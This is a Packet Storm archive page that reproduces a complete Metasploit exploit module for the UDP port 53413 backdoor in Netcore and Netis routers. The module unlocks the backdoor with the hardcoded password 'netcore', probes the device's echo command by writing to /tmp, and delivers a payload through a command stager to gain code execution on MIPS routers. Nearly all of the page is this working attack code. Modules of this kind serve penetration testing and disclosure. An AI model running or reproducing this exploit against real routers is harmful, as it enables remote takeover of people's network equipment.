what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Netcore Router Udp 53413 Backdoor

Netcore Router Udp 53413 Backdoor
Posted Aug 11, 2016
Authored by h00die, Nixawk | Site metasploit.com

Routers manufactured by Netcore, a popular brand for networking equipment in China, have a wide-open backdoor that can be fairly easily exploited by attackers. These products are also sold under the Netis brand name outside of China. This backdoor allows cyber criminals to easily run arbitrary code on these routers, rendering it vulnerable as a security device. Some models include a non-standard echo command which doesn't honor -e, and are therefore not currently exploitable with Metasploit. See URLs or module markdown for additional options.

tags | exploit, arbitrary
SHA-256 | 23aa19a2ba418a35cd8bbecabd42ee2c073706a9c5dc4bf7724e7a87210b3a29

Netcore Router Udp 53413 Backdoor

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Udp
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'Netcore Router Udp 53413 Backdoor',
'Description' => %q{
Routers manufactured by Netcore, a popular brand for networking
equipment in China, have a wide-open backdoor that can be fairly
easily exploited by attackers. These products are also sold under
the Netis brand name outside of China. This backdoor allows
cyber criminals to easily run arbitrary code on these routers,
rendering it vulnerable as a security device.
Some models include a non-standard echo command which doesn't
honor -e, and are therefore not currently exploitable with
Metasploit. See URLs or module markdown for additional options.
},
'Author' =>
[
'Nixawk',
'h00die <mike@shorebreaksecurity.com>'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'https://www.seebug.org/vuldb/ssvid-90227' ],
[ 'URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/netis-routers-leave-wide-open-backdoor/' ],
[ 'URL', 'https://github.com/h00die/MSF-Testing-Scripts/blob/master/netis_backdoor.py']
],
'Privileged' => true,
'Targets' =>
[
['MIPS Little Endian',
{
'Platform' => 'linux',
'Arch' => ARCH_MIPSLE
}
],
['MIPS Big Endian',
{
'Platform' => 'linux',
'Arch' => ARCH_MIPSBE
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 25 2014'))

register_options(
[
OptInt.new('TIMEOUT', [true, 'The socket response timeout in milliseconds', 1000]),
Opt::RPORT(53413)
], self.class)
end

def timeout
(datastore['TIMEOUT'] || 1000) / 1000.0
end

def send_command(data)
payload = "\x00" * 8
payload << data
udp_sock.put(payload)
end

def execute_command(cmd, _opts)
send_command(cmd)
vprint_status("Sending: #{cmd}")
end

def authenticate()
# netcore is the password to unlock the backdoor
send_command('netcore')
resp = udp_sock.get(timeout)
if resp.include?('Login succeeded!')
vprint_good('Backdoor Unlocked')
end
end

def check
connect_udp
authenticate
resp = []
tmp_file = Rex::Text.rand_text_alpha(5)
# we need to test the echo command to see if it plays nice
["echo -en #{tmp_file} > /tmp/#{tmp_file}", "cat /tmp/#{tmp_file}"].each do |command|
send_command(command)
resp << udp_sock.get(timeout)
end
disconnect_udp
resp_str = resp.join(',')
# check if we got a good response back
if resp.length >= 1 && resp_str.include?("\x00\x00\x00\x05") && resp_str.include?(tmp_file)
# some routers have a non-standard echo which doesn't support -en, so we need to detect that
if resp_str.include?('en ')
print_status('Router backdoor triggered, but non-exploitable echo command detected. Not currently exploitable with Metasploit.')
Exploit::CheckCode::Detected
else
Exploit::CheckCode::Vulnerable
end
else
Exploit::CheckCode::Safe
end
end

def exploit
print_status('Exploiting...')
connect_udp
authenticate
execute_cmdstager(:flavor => :echo, :linemax => 200)
disconnect_udp
end
end
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    19 Files
  • 23
    Jul 23rd
    17 Files
  • 24
    Jul 24th
    47 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close